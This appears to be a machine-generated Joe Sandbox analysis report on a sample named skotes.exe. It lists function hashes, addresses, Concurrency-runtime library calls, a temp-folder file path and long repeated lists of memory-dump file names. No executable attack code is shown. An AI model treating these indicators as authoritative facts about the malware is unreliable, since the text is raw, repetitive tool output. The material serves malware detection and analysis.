Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: a3b41fd45f9a0115f8e67c98a7aca43c57d938d7048308d6b9b622c53627c8d4
Instruction ID: a393efede0aa0780a2fe76f71f537b82618e7833452b8a89372fe81d4f4ac7fa
Opcode Fuzzy Hash: a3b41fd45f9a0115f8e67c98a7aca43c57d938d7048308d6b9b622c53627c8d4
Instruction Fuzzy Hash: 2801F932204521BFCE25BBA5C9C2D6DBBE9FF86710B0044B9F40197A11CF20EC618690

Function 00BB33C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00BB33DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 00BB33EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00BB3407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00BB341F

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 2676b9cb3db5d7a67e0e4d9908f94dc6d28d7fb1167412af83cf91554c1fb995
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 9801D632600514A7CF16EE548882AFF77E9DF45B50F100495FC16AB382DAF1EF0096A0

Function 00BA9510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00BA9519

Part of subcall function 00B9F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00BA5486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 00BA953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00BA9550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00BA9559

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 8230041dd9b7ce2006bf6c34018fdfd8a42b5e60b68a5f6889d2d3db3e04c869
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: D7F0A730A04B105FEA62AB588852F7B23D5DF46711F00C4ADE41B97682CE64E842CB40

Function 00BBDFE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 00BBDFE8

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-2895844383
Opcode ID: 68da14b6d545a3e85021f9a053467e70c7fdb0edb7f95b5891431ca71dd056c4
Instruction ID: ad17d99d259fbed2a884d5cc1b98721dc11df7bddc40f9a09e6ae037ebb6b2ec
Opcode Fuzzy Hash: 68da14b6d545a3e85021f9a053467e70c7fdb0edb7f95b5891431ca71dd056c4
Instruction Fuzzy Hash: 1C219D71604209AFAB30BE659C82EFB77EDEF5036475046A4F93997161EBF0EC0087A0

Function 00BB1704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00BB1764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BB17AF

Strings

pContext, xrefs: 00BB17A7

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 3677093f0c4789841895afcc700789c63c85280ac9c163b282b92be8042840b9
Instruction ID: 40bacede4388ac8a33406d4b6c3ad551544ab0299b708b74f4f28cdad43624d6
Opcode Fuzzy Hash: 3677093f0c4789841895afcc700789c63c85280ac9c163b282b92be8042840b9
Instruction Fuzzy Hash: 99110639A112149BCB15BF1DC4A49BD77E5EF84360B4448E5E812AB352DFB0ED01CBD0

Function 00BAB92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 00BAB94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BAB961

Strings

pContext, xrefs: 00BAB959

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
